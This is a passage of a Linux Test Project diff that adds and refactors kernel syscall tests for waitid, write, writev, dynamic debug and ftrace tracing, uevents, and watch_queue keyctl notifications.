pid_child, infop, WCONTINUED)); + + TST_EXP_EQ_LI(infop->si_pid, pid_child); + TST_EXP_EQ_LI(infop->si_status, SIGCONT); + TST_EXP_EQ_LI(infop->si_signo, SIGCHLD); + TST_EXP_EQ_LI(infop->si_code, CLD_CONTINUED); + + TST_CHECKPOINT_WAKE(0); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .needs_checkpoints = 1, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/waitid/waitid09.c b/testcases/kernel/syscalls/waitid/waitid09.c new file mode 100644 index 00000000..115c2e67 --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid09.c @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (c) Manas Kumar Nayak maknayak@in.ibm.com> + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test that waitid() fails with ECHILD with process that is not child of the + * current process. We fork() one child just to be sure that there are unwaited + * for children available while the test runs. + */ + +#include +#include +#include "tst_test.h" + +static siginfo_t *infop; + +static void run(void) +{ + if (!SAFE_FORK()) + exit(0); + + TST_EXP_FAIL(waitid(P_PID, 1, infop, WEXITED), ECHILD); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {} + } +}; diff --git a/testcases/kernel/syscalls/waitid/waitid10.c b/testcases/kernel/syscalls/waitid/waitid10.c new file mode 100644 index 00000000..e55e88c2 --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid10.c @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test is checking if waitid() syscall recognizes a process that ended + * with division by zero error. + */ + +#include +#include +#include +#include "tst_test.h" + +static siginfo_t *infop; +static int core_dumps = 1; + +static void run(void) +{ + pid_t pidchild; + + /* + * Triggering SIGFPE by invalid instruction is not always possible, + * some architectures does not trap division-by-zero at all and even + * when it's possible we would have to fight the compiler optimizations + * that have tendency to remove undefined operations. + */ + pidchild = SAFE_FORK(); + if (!pidchild) + raise(SIGFPE); + + TST_EXP_PASS(waitid(P_ALL, 0, infop, WEXITED)); + TST_EXP_EQ_LI(infop->si_pid, pidchild); + TST_EXP_EQ_LI(infop->si_status, SIGFPE); + TST_EXP_EQ_LI(infop->si_signo, SIGCHLD); + + if (core_dumps) + TST_EXP_EQ_LI(infop->si_code, CLD_DUMPED); + else + TST_EXP_EQ_LI(infop->si_code, CLD_KILLED); +} + +static void setup(void) +{ + struct rlimit rlim; + char c; + + SAFE_GETRLIMIT(RLIMIT_CORE, &rlim); + SAFE_FILE_SCANF("/proc/sys/kernel/core_pattern", "%c", &c); + + if (rlim.rlim_cur) + return; + + if (!rlim.rlim_max) { + if (c != '|') + core_dumps = 0; + return; + } + + tst_res(TINFO, "Raising RLIMIT_CORE rlim_cur=%li -> %li", + rlim.rlim_cur, rlim.rlim_max); + + rlim.rlim_cur = rlim.rlim_max; + SAFE_SETRLIMIT(RLIMIT_CORE, &rlim); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .setup = setup, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/waitid/waitid11.c b/testcases/kernel/syscalls/waitid/waitid11.c new file mode 100644 index 00000000..e3754bb1 --- /dev/null +++ b/testcases/kernel/syscalls/waitid/waitid11.c @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Crackerjack Project., 2007 + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test is checking if waitid() syscall recognizes a process that has been + * killed with SIGKILL. + */ + +#include +#include +#include +#include "tst_test.h" + +static siginfo_t *infop; + +static void run(void) +{ + pid_t pidchild; + + pidchild = SAFE_FORK(); + if (!pidchild) { + pause(); + return; + } + + SAFE_KILL(pidchild, SIGKILL); + + TST_EXP_PASS(waitid(P_ALL, 0, infop, WEXITED)); + TST_EXP_EQ_LI(infop->si_pid, pidchild); + TST_EXP_EQ_LI(infop->si_status, SIGKILL); + TST_EXP_EQ_LI(infop->si_signo, SIGCHLD); + TST_EXP_EQ_LI(infop->si_code, CLD_KILLED); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .bufs = (struct tst_buffers[]) { + {&infop, .size = sizeof(*infop)}, + {}, + }, +}; diff --git a/testcases/kernel/syscalls/write/write02.c b/testcases/kernel/syscalls/write/write02.c index 2f630ab6..ab38dce7 100755 --- a/testcases/kernel/syscalls/write/write02.c +++ b/testcases/kernel/syscalls/write/write02.c @@ -2,27 +2,24 @@ /* * Copyright (c) 2017 Carlo Marcelo Arenas Belon * Copyright (c) 2018 Cyril Hrubis + * Copyright (c) Linux Test Project, 2003-2023 */ -/* + +/*\ + * [Description] + * * Tests for a special case NULL buffer with size 0 is expected to return 0. */ -#include #include "tst_test.h" static int fd; static void verify_write(void) { - TEST(write(fd, NULL, 0)); - - if (TST_RET != 0) { - tst_res(TFAIL | TTERRNO, - "write() should have succeeded with ret=0"); - return; - } + TST_EXP_POSITIVE(write(fd, NULL, 0)); - tst_res(TPASS, "write(fd, NULL, 0) == 0"); + TST_EXP_EXPR(TST_RET == 0, "write(fd, NULL, %ld) == %d", TST_RET, 0); } static void setup(void) diff --git a/testcases/kernel/syscalls/write/write03.c b/testcases/kernel/syscalls/write/write03.c index 538079fe..4eaa1e08 100755 --- a/testcases/kernel/syscalls/write/write03.c +++ b/testcases/kernel/syscalls/write/write03.c @@ -29,7 +29,7 @@ static void verify_write(void) { fd = SAFE_CREAT("testfile", 0644); - SAFE_WRITE(1, fd, wbuf, 100); + SAFE_WRITE(SAFE_WRITE_ALL, fd, wbuf, 100); if (write(fd, bad_addr, 100) != -1) { tst_res(TFAIL, "write() failed to fail"); diff --git a/testcases/kernel/syscalls/write/write04.c b/testcases/kernel/syscalls/write/write04.c index a765d91b..a5d62e0f 100755 --- a/testcases/kernel/syscalls/write/write04.c +++ b/testcases/kernel/syscalls/write/write04.c @@ -1,16 +1,14 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2002-2022 + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * DESCRIPTION - * Testcase to check that write() sets errno to EAGAIN +/*\ + * [Description] * - * ALGORITHM - * Create a named pipe (fifo), open it in O_NONBLOCK mode, and - * attempt to write to it when it is full, write(2) should fail + * Verify that write(2) fails with errno EAGAIN when attempt to write to fifo + * opened in O_NONBLOCK mode. */ #include @@ -30,20 +28,7 @@ static void verify_write(void) { char wbuf[8 * page_size]; - TEST(write(wfd, wbuf, sizeof(wbuf))); - - if (TST_RET != -1) { - tst_res(TFAIL, "write() succeeded unexpectedly"); - return; - } - - if (TST_ERR != EAGAIN) { - tst_res(TFAIL | TTERRNO, - "write() failed unexpectedly, expected EAGAIN"); - return; - } - - tst_res(TPASS | TTERRNO, "write() failed expectedly"); + TST_EXP_FAIL2(write(wfd, wbuf, sizeof(wbuf)), EAGAIN); } static void setup(void) @@ -59,7 +44,7 @@ static void setup(void) rfd = SAFE_OPEN(fifo, O_RDONLY | O_NONBLOCK); wfd = SAFE_OPEN(fifo, O_WRONLY | O_NONBLOCK); - SAFE_WRITE(0, wfd, wbuf, sizeof(wbuf)); + SAFE_WRITE(SAFE_WRITE_ANY, wfd, wbuf, sizeof(wbuf)); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/write/write05.c b/testcases/kernel/syscalls/write/write05.c index 79769621..b907624a 100755 --- a/testcases/kernel/syscalls/write/write05.c +++ b/testcases/kernel/syscalls/write/write05.c @@ -1,19 +1,22 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * 07/2001 Ported by John George - * 04/2002 wjhuie sigset cleanups - * 08/2007 Ricardo Salveti de Araujo + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by John George + * 04/2002 wjhuie sigset cleanups + * 08/2007 Ricardo Salveti de Araujo + * Copyright (c) Linux Test Project, 2002-2023 */ -/* - * DESCRIPTION +/*\ + * [Description] + * * Check the return value, and errnos of write(2) + * * - when the file descriptor is invalid - EBADF * - when the buf parameter is invalid - EFAULT * - on an attempt to write to a pipe that is not open for reading - EPIPE */ + #include #include #include @@ -42,7 +45,7 @@ static struct tcase { {&pipefd[1], &buf, sizeof(buf), EPIPE}, }; -static int sigpipe_cnt; +static volatile int sigpipe_cnt; static void sighandler(int sig) { @@ -56,26 +59,12 @@ static void verify_write(unsigned int i) sigpipe_cnt = 0; - TEST(write(*tc->fd, *tc->buf, tc->size)); - - if (TST_RET != -1) { - tst_res(TFAIL, "write() succeeded unexpectedly"); - return; - } - - if (TST_ERR != tc->exp_errno) { - tst_res(TFAIL | TTERRNO, - "write() failed unexpectedly, expected %s", - tst_strerrno(tc->exp_errno)); + TST_EXP_FAIL2(write(*tc->fd, *tc->buf, tc->size), tc->exp_errno); + if (TST_RET != -1) return; - } - if (tc->exp_errno == EPIPE && sigpipe_cnt != 1) { + if (tc->exp_errno == EPIPE && sigpipe_cnt != 1) tst_res(TFAIL, "sigpipe_cnt = %i", sigpipe_cnt); - return; - } - - tst_res(TPASS | TTERRNO, "write() failed expectedly"); } static void setup(void) diff --git a/testcases/kernel/syscalls/write/write06.c b/testcases/kernel/syscalls/write/write06.c index c1755481..aac1e6f7 100755 --- a/testcases/kernel/syscalls/write/write06.c +++ b/testcases/kernel/syscalls/write/write06.c @@ -38,7 +38,7 @@ static void verify_write(void) struct stat statbuf; fd = SAFE_OPEN(DATA_FILE, O_RDWR | O_CREAT | O_TRUNC, 0666); - SAFE_WRITE(1, fd, write_buf[0], K2); + SAFE_WRITE(SAFE_WRITE_ALL, fd, write_buf[0], K2); SAFE_CLOSE(fd); fd = SAFE_OPEN(DATA_FILE, O_RDWR | O_APPEND); @@ -50,7 +50,7 @@ static void verify_write(void) if (off != K1) tst_brk(TBROK, "Failed to seek to K1"); - SAFE_WRITE(1, fd, write_buf[1], K1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, write_buf[1], K1); off = SAFE_LSEEK(fd, 0, SEEK_CUR); if (off != K3) diff --git a/testcases/kernel/syscalls/writev/writev03.c b/testcases/kernel/syscalls/writev/writev03.c index d0c64743..3575ca44 100755 --- a/testcases/kernel/syscalls/writev/writev03.c +++ b/testcases/kernel/syscalls/writev/writev03.c @@ -47,9 +47,8 @@ static void setup(void) buf[i] = i & 0xff; mapfd = SAFE_OPEN(MAPFILE, O_CREAT|O_RDWR|O_TRUNC, 0644); - SAFE_WRITE(1, mapfd, buf, BUF_SIZE); + SAFE_WRITE(SAFE_WRITE_ALL, mapfd, buf, BUF_SIZE); - fzsync_pair.exec_time_p = 0.25; tst_fzsync_pair_init(&fzsync_pair); } @@ -146,6 +145,7 @@ static struct tst_test test = { .min_cpus = 2, .setup = setup, .cleanup = cleanup, + .max_runtime = 75, .tags = (const struct tst_tag[]) { {"linux-git", "d4690f1e1cda"}, {} diff --git a/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh b/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh index fd5ee06c..c01ecb7b 100755 --- a/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh +++ b/testcases/kernel/tracing/dynamic_debug/dynamic_debug01.sh @@ -17,16 +17,11 @@ TST_NEEDS_ROOT=1 TST_SETUP=setup TST_CLEANUP=cleanup -. tst_test.sh - - DEBUGFS_WAS_MOUNTED=0 DEBUGFS_PATH="" DEBUGFS_CONTROL="" DYNDEBUG_STATEMENTS="./debug_statements" -EMPTY_FLAG="-" -NEW_INTERFACE=0 - +EMPTY_FLAG="=_" mount_debugfs() { @@ -50,10 +45,6 @@ mount_debugfs() setup() { - if tst_kvcmp -lt 2.6.30 ; then - tst_brk TCONF "Dynamic debug is available since version 2.6.30" - fi - mount_debugfs if [ ! -d "$DEBUGFS_PATH/dynamic_debug" ] ; then tst_brk TBROK "Unable to find $DEBUGFS_PATH/dynamic_debug" @@ -63,12 +54,6 @@ setup() tst_brk TBROK "Unable to find $DEBUGFS_CONTROL" fi - # Both patches with changes were backported to RHEL6 kernel 2.6.32-547 - if tst_kvcmp -ge '3.4 RHEL6:2.6.32-547' ; then - NEW_INTERFACE=1 - EMPTY_FLAG="=_" - fi - grep -v "^#" "$DEBUGFS_CONTROL" > "$DYNDEBUG_STATEMENTS" } @@ -92,10 +77,8 @@ do_all_flags() for INPUT_LINE in $ALL_INPUTS; do do_flag "+p" "$OPTION" "$INPUT_LINE" - if tst_kvcmp -ge 3.2 || [ $NEW_INTERFACE -eq 1 ] ; then - do_flag "+flmt" "$OPTION" "$INPUT_LINE" - do_flag "-flmt" "$OPTION" "$INPUT_LINE" - fi + do_flag "+flmt" "$OPTION" "$INPUT_LINE" + do_flag "-flmt" "$OPTION" "$INPUT_LINE" do_flag "-p" "$OPTION" "$INPUT_LINE" done @@ -140,10 +123,9 @@ cleanup() FLAGS_SET=$(awk -v emp="$EMPTY_FLAG" '$3 != emp' $DYNDEBUG_STATEMENTS) fi if [ "$FLAGS_SET" ] ; then - FLAG_PREFIX=$([ $NEW_INTERFACE -eq 1 ] && echo "" || echo "+") /bin/echo "$FLAGS_SET" | while read -r FLAG_LINE ; do /bin/echo -n "$FLAG_LINE" \ - | awk -v prf="$FLAG_PREFIX" -F " |:" \ + | awk -v prf= -F " |:" \ '{print "file "$1" line "$2" "prf $4}' \ > "$DEBUGFS_CONTROL" done @@ -153,4 +135,5 @@ cleanup() fi } +. tst_test.sh tst_run diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh b/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh index d9a206b1..5f8f8a2c 100755 --- a/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh +++ b/testcases/kernel/tracing/ftrace_test/ftrace_lib.sh @@ -60,7 +60,7 @@ save_old_setting() { cd $TRACING_PATH - old_trace_options=( `cat trace_options` ) + old_trace_options=`cat trace_options` old_tracing_on=`cat tracing_on` old_buffer_size=`cat buffer_size_kb` old_tracing_cpumask=`cat tracing_cpumask` @@ -128,12 +128,11 @@ restore_old_setting() echo $old_buffer_size > buffer_size_kb echo $old_tracing_on > tracing_on - if [ -e tracing_enabled ];then + if [ -e tracing_enabled ]; then echo $old_tracing_enabled > tracing_enabled fi - for option in $old_trace_options - do + for option in $old_trace_options; do echo $option > trace_options 2> /dev/null done diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh b/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh index 4a3e68a7..50329c68 100755 --- a/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh +++ b/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh @@ -15,31 +15,13 @@ LOOP=400 -# In kernel which is older than 2.6.32, we set global clock -# via trace_options. -if tst_kvcmp -lt "2.6.32"; then - old_kernel=1 -else - old_kernel=0 -fi - while true; do i=0 - if [ $old_kernel -eq 1 ]; then - while [ $i -lt $LOOP ]; do - echo 1 > "$TRACING_PATH"/options/global-clock - echo 0 > "$TRACING_PATH"/options/global-clock - i=$((i + 1)) - done - else - while [ $i -lt $LOOP ]; do - echo local > "$TRACING_PATH"/trace_clock - echo global > "$TRACING_PATH"/trace_clock - i=$((i + 1)) - done - - fi - + while [ $i -lt $LOOP ]; do + echo local > "$TRACING_PATH"/trace_clock + echo global > "$TRACING_PATH"/trace_clock + i=$((i + 1)) + done sleep 1 done diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh b/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh index 50aeef97..f7177c98 100755 --- a/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh +++ b/testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh @@ -22,12 +22,6 @@ if [ ! -e "$TRACING_PATH"/function_profile_enabled ]; then should_skip=1 fi -# For kernels older than 2.6.36, this testcase can result in -# divide-by-zero kernel bug -if tst_kvcmp -lt "2.6.36"; then - should_skip=1 -fi - while true; do if [ $should_skip -eq 1 ]; then sleep 2 diff --git a/testcases/kernel/uevents/uevent.h b/testcases/kernel/uevents/uevent.h index 908e150f..1ad092d5 100755 --- a/testcases/kernel/uevents/uevent.h +++ b/testcases/kernel/uevents/uevent.h @@ -163,7 +163,7 @@ static inline void wait_for_pid(int pid) if (WIFEXITED(status) && WEXITSTATUS(status) == 0) return; - tst_res(TFAIL, "Child exitted with %s", tst_strstatus(status)); + tst_res(TFAIL, "Child exited with %s", tst_strstatus(status)); } SAFE_KILL(pid, SIGKILL); diff --git a/testcases/kernel/uevents/uevent02.c b/testcases/kernel/uevents/uevent02.c index ce0cf757..4355cd8d 100755 --- a/testcases/kernel/uevents/uevent02.c +++ b/testcases/kernel/uevents/uevent02.c @@ -18,11 +18,77 @@ #include #include +#include "tst_kconfig.h" #include "tst_test.h" #include "uevent.h" #define TUN_PATH "/dev/net/tun" +#define CONFIG_RPS "CONFIG_RPS" +#define MAX_UEVENTS 7 + +static struct uevent_desc add = { + .msg = "add@/devices/virtual/net/ltp-tun0", + .value_cnt = 4, + .values = (const char*[]) { + "ACTION=add", + "DEVPATH=/devices/virtual/net/ltp-tun0", + "SUBSYSTEM=net", + "INTERFACE=ltp-tun0", + } +}; + +static struct uevent_desc add_rx = { + .msg = "add@/devices/virtual/net/ltp-tun0/queues/rx-0", + .value_cnt = 3, + .values = (const char*[]) { + "ACTION=add", + "DEVPATH=/devices/virtual/net/ltp-tun0/queues/rx-0", + "SUBSYSTEM=queues", + } +}; + +static struct uevent_desc add_tx = { + .msg = "add@/devices/virtual/net/ltp-tun0/queues/tx-0", + .value_cnt = 3, + .values = (const char*[]) { + "ACTION=add", + "DEVPATH=/devices/virtual/net/ltp-tun0/queues/tx-0", + "SUBSYSTEM=queues", + } +}; + +static struct uevent_desc rem_rx = { + .msg = "remove@/devices/virtual/net/ltp-tun0/queues/rx-0", + .value_cnt = 3, + .values = (const char*[]) { + "ACTION=remove", + "DEVPATH=/devices/virtual/net/ltp-tun0/queues/rx-0", + "SUBSYSTEM=queues", + } +}; + +static struct uevent_desc rem_tx = { + .msg = "remove@/devices/virtual/net/ltp-tun0/queues/tx-0", + .value_cnt = 3, + .values = (const char*[]) { + "ACTION=remove", + "DEVPATH=/devices/virtual/net/ltp-tun0/queues/tx-0", + "SUBSYSTEM=queues", + } +}; + +static struct uevent_desc rem = { + .msg = "remove@/devices/virtual/net/ltp-tun0", + .value_cnt = 4, + .values = (const char*[]) { + "ACTION=remove", + "DEVPATH=/devices/virtual/net/ltp-tun0", + "SUBSYSTEM=net", + "INTERFACE=ltp-tun0", + } +}; +static const struct uevent_desc *uevents[MAX_UEVENTS]; static void generate_tun_uevents(void) { @@ -44,78 +110,6 @@ static void verify_uevent(void) { int pid, fd; - struct uevent_desc add = { - .msg = "add@/devices/virtual/net/ltp-tun0", - .value_cnt = 4, - .values = (const char*[]) { - "ACTION=add", - "DEVPATH=/devices/virtual/net/ltp-tun0", - "SUBSYSTEM=net", - "INTERFACE=ltp-tun0", - } - }; - - struct uevent_desc add_rx = { - .msg = "add@/devices/virtual/net/ltp-tun0/queues/rx-0", - .value_cnt = 3, - .values = (const char*[]) { - "ACTION=add", - "DEVPATH=/devices/virtual/net/ltp-tun0/queues/rx-0", - "SUBSYSTEM=queues", - } - }; - - struct uevent_desc add_tx = { - .msg = "add@/devices/virtual/net/ltp-tun0/queues/tx-0", - .value_cnt = 3, - .values = (const char*[]) { - "ACTION=add", - "DEVPATH=/devices/virtual/net/ltp-tun0/queues/tx-0", - "SUBSYSTEM=queues", - } - }; - - struct uevent_desc rem_rx = { - .msg = "remove@/devices/virtual/net/ltp-tun0/queues/rx-0", - .value_cnt = 3, - .values = (const char*[]) { - "ACTION=remove", - "DEVPATH=/devices/virtual/net/ltp-tun0/queues/rx-0", - "SUBSYSTEM=queues", - } - }; - - struct uevent_desc rem_tx = { - .msg = "remove@/devices/virtual/net/ltp-tun0/queues/tx-0", - .value_cnt = 3, - .values = (const char*[]) { - "ACTION=remove", - "DEVPATH=/devices/virtual/net/ltp-tun0/queues/tx-0", - "SUBSYSTEM=queues", - } - }; - - struct uevent_desc rem = { - .msg = "remove@/devices/virtual/net/ltp-tun0", - .value_cnt = 4, - .values = (const char*[]) { - "ACTION=remove", - "DEVPATH=/devices/virtual/net/ltp-tun0", - "SUBSYSTEM=net", - "INTERFACE=ltp-tun0", - } - }; - - const struct uevent_desc *const uevents[] = { - &add, - &add_rx, - &add_tx, - &rem_rx, - &rem_tx, - &rem, - NULL - }; - pid = SAFE_FORK(); if (!pid) { fd = open_uevent_netlink(); @@ -131,7 +125,29 @@ static void verify_uevent(void) wait_for_pid(pid); } +static void setup(void) +{ + struct tst_kconfig_var kconfig = { + .id = CONFIG_RPS, + .id_len = sizeof(CONFIG_RPS) - 1, + }; + int i = 0; + + tst_kconfig_read(&kconfig, 1); + + uevents[i++] = &add; + if (kconfig.choice == 'y') + uevents[i++] = &add_rx; + uevents[i++] = &add_tx; + if (kconfig.choice == 'y') + uevents[i++] = &rem_rx; + uevents[i++] = &rem_tx; + uevents[i++] = &rem; + uevents[i++] = NULL; +} + static struct tst_test test = { + .setup = setup, .test_all = verify_uevent, .forks_child = 1, .needs_checkpoints = 1, diff --git a/testcases/kernel/watchqueue/.gitignore b/testcases/kernel/watchqueue/.gitignore new file mode 100644 index 00000000..dcfcd827 --- /dev/null +++ b/testcases/kernel/watchqueue/.gitignore @@ -0,0 +1,9 @@ +wqueue01 +wqueue02 +wqueue03 +wqueue04 +wqueue05 +wqueue06 +wqueue07 +wqueue08 +wqueue09 diff --git a/testcases/kernel/watchqueue/Makefile b/testcases/kernel/watchqueue/Makefile new file mode 100644 index 00000000..896d66d4 --- /dev/null +++ b/testcases/kernel/watchqueue/Makefile @@ -0,0 +1,8 @@ +# SPDX-License-Identifier: GPL-2.0-or-later + +top_srcdir ?= ../../.. + +include $(top_srcdir)/include/mk/testcases.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk + +LDLIBS += $(KEYUTILS_LIBS) diff --git a/testcases/kernel/watchqueue/common.h b/testcases/kernel/watchqueue/common.h new file mode 100644 index 00000000..92e8f079 --- /dev/null +++ b/testcases/kernel/watchqueue/common.h @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +#ifndef WQUEUE_COMMON_H__ +#define WQUEUE_COMMON_H__ + +#include +#include "tst_test.h" +#include "lapi/watch_queue.h" +#include "lapi/keyctl.h" + +static struct watch_notification_filter wqueue_filter = { + .nr_filters = 2, + .filters = { + [0] = { + .type = WATCH_TYPE_META, + .subtype_filter[0] = UINT_MAX, + }, + [1] = { + .type = WATCH_TYPE_KEY_NOTIFY, + .subtype_filter[0] = UINT_MAX, + }, + }, +}; + +static inline int wqueue_key_event(struct watch_notification *n, size_t len, + unsigned int wtype, int type) +{ + struct key_notification *k; + const char *msg; + + if (wtype != WATCH_TYPE_KEY_NOTIFY) + return 0; + + if (len != sizeof(struct key_notification)) + tst_brk(TBROK, "Incorrect key message length"); + + switch (n->subtype) { + case NOTIFY_KEY_INSTANTIATED: + msg = "instantiated"; + break; + case NOTIFY_KEY_UPDATED: + msg = "updated"; + break; + case NOTIFY_KEY_LINKED: + msg = "linked"; + break; + case NOTIFY_KEY_UNLINKED: + msg = "unlinked"; + break; + case NOTIFY_KEY_CLEARED: + msg = "cleared"; + break; + case NOTIFY_KEY_REVOKED: + msg = "revoked"; + break; + case NOTIFY_KEY_INVALIDATED: + msg = "invalidated"; + break; + case NOTIFY_KEY_SETATTR: + msg = "setattr"; + break; + default: + msg = "Invalid notification"; + break; + }; + + k = (struct key_notification *)n; + tst_res(TINFO, "KEY %08x change=%u[%s] aux=%u", k->key_id, n->subtype, msg, + k->aux); + + if (n->subtype == type) + return 1; + + return 0; +} + +static inline key_serial_t wqueue_add_key(int fd) +{ + key_serial_t key; + + key = add_key("user", "ltptestkey", "a", 1, KEY_SPEC_SESSION_KEYRING); + if (key == -1) + tst_brk(TBROK, "add_key error: %s", tst_strerrno(errno)); + + keyctl(KEYCTL_WATCH_KEY, key, fd, 0x01); + keyctl(KEYCTL_WATCH_KEY, KEY_SPEC_SESSION_KEYRING, fd, 0x02); + + return key; +} + +static inline int wqueue_watch(int buf_size, + struct watch_notification_filter *filter) +{ + int pipefd[2]; + int fd; + + TEST(pipe2(pipefd, O_NOTIFICATION_PIPE)); + if (TST_RET) { + switch (TST_ERR) { + case ENOPKG: + tst_brk(TCONF | TTERRNO, "CONFIG_WATCH_QUEUE is not set"); + break; + case EINVAL: + tst_brk(TCONF | TTERRNO, "O_NOTIFICATION_PIPE is not supported"); + break; + default: + tst_brk(TBROK | TTERRNO, "pipe2() returned %ld", TST_RET); + } + } + + fd = pipefd[0]; + + SAFE_IOCTL(fd, IOC_WATCH_QUEUE_SET_SIZE, buf_size); + SAFE_IOCTL(fd, IOC_WATCH_QUEUE_SET_FILTER, filter); + + return fd; +} + +typedef void (*wqueue_callback)(struct watch_notification *n, size_t len, + unsigned int wtype); + +static void wqueue_consumer(int fd, wqueue_callback cb) +{ + unsigned char buffer[433], *p, *end; + union { + struct watch_notification n; + unsigned char buf1[128]; + } n; + ssize_t buf_len; + + tst_res(TINFO, "Reading watch queue events"); + + buf_len = SAFE_READ(0, fd, buffer, sizeof(buffer)); + + p = buffer; + end = buffer + buf_len; + while (p < end) { + size_t largest, len; + + largest = end - p; + if (largest > 128) + largest = 128; + + if (largest < sizeof(struct watch_notification)) + tst_brk(TBROK, "Short message header: %zu", largest); + + memcpy(&n, p, largest); + + tst_res(TINFO, "NOTIFY[%03zx]: ty=%06x sy=%02x i=%08x", p - buffer, + n.n.type, n.n.subtype, n.n.info); + + len = n.n.info & WATCH_INFO_LENGTH; + if (len < sizeof(n.n) || len > largest) + tst_brk(TBROK, "Bad message length: %zu/%zu", len, largest); + + cb(&n.n, len, n.n.type); + + p += len; + } +} + +#endif diff --git a/testcases/kernel/watchqueue/wqueue01.c b/testcases/kernel/watchqueue/wqueue01.c new file mode 100644 index 00000000..904e512a --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue01.c @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if keyctl update is correctly recognized by watch queue. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +static void saw_key_updated(struct watch_notification *n, size_t len, + unsigned int wtype) +{ + if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_UPDATED)) + tst_res(TPASS, "keyctl update has been recognized"); + else + tst_res(TFAIL, "keyctl update has not been recognized"); +} + +static void run(void) +{ + int fd; + key_serial_t key; + + fd = wqueue_watch(256, &wqueue_filter); + key = wqueue_add_key(fd); + + keyctl(KEYCTL_UPDATE, key, "b", 1); + wqueue_consumer(fd, saw_key_updated); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/watchqueue/wqueue02.c b/testcases/kernel/watchqueue/wqueue02.c new file mode 100644 index 00000000..0c3e947d --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue02.c @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if keyctl unlink is correctly recognized by watch queue. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +static void saw_key_unlinked(struct watch_notification *n, size_t len, + unsigned int wtype) +{ + if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_UNLINKED)) + tst_res(TPASS, "keyctl unlink has been recognized"); + else + tst_res(TFAIL, "keyctl unlink has not been recognized"); +} + +static void run(void) +{ + int fd; + key_serial_t key; + + fd = wqueue_watch(256, &wqueue_filter); + key = wqueue_add_key(fd); + + keyctl(KEYCTL_UNLINK, key, KEY_SPEC_SESSION_KEYRING); + wqueue_consumer(fd, saw_key_unlinked); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/watchqueue/wqueue03.c b/testcases/kernel/watchqueue/wqueue03.c new file mode 100644 index 00000000..c17fc145 --- /dev/null +++ b/testcases/kernel/watchqueue/wqueue03.c @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test if keyctl revoke is correctly recognized by watch queue. + */ + +#define _GNU_SOURCE + +#include "tst_test.h" +#include "lapi/keyctl.h" +#include "common.h" + +static void saw_key_revoked(struct watch_notification *n, size_t len, + unsigned int wtype) +{ + if (wqueue_key_event(n, len, wtype, NOTIFY_KEY_REVOKED)) + tst_res(TPASS, "keyctl revoke has been recognized"); + else + tst_res(TFAIL, "keyctl revoke has not been recognized"); +} + +static void run(void) +{ + int fd; + key_serial_t key; + + fd = wqueue_watch(256, 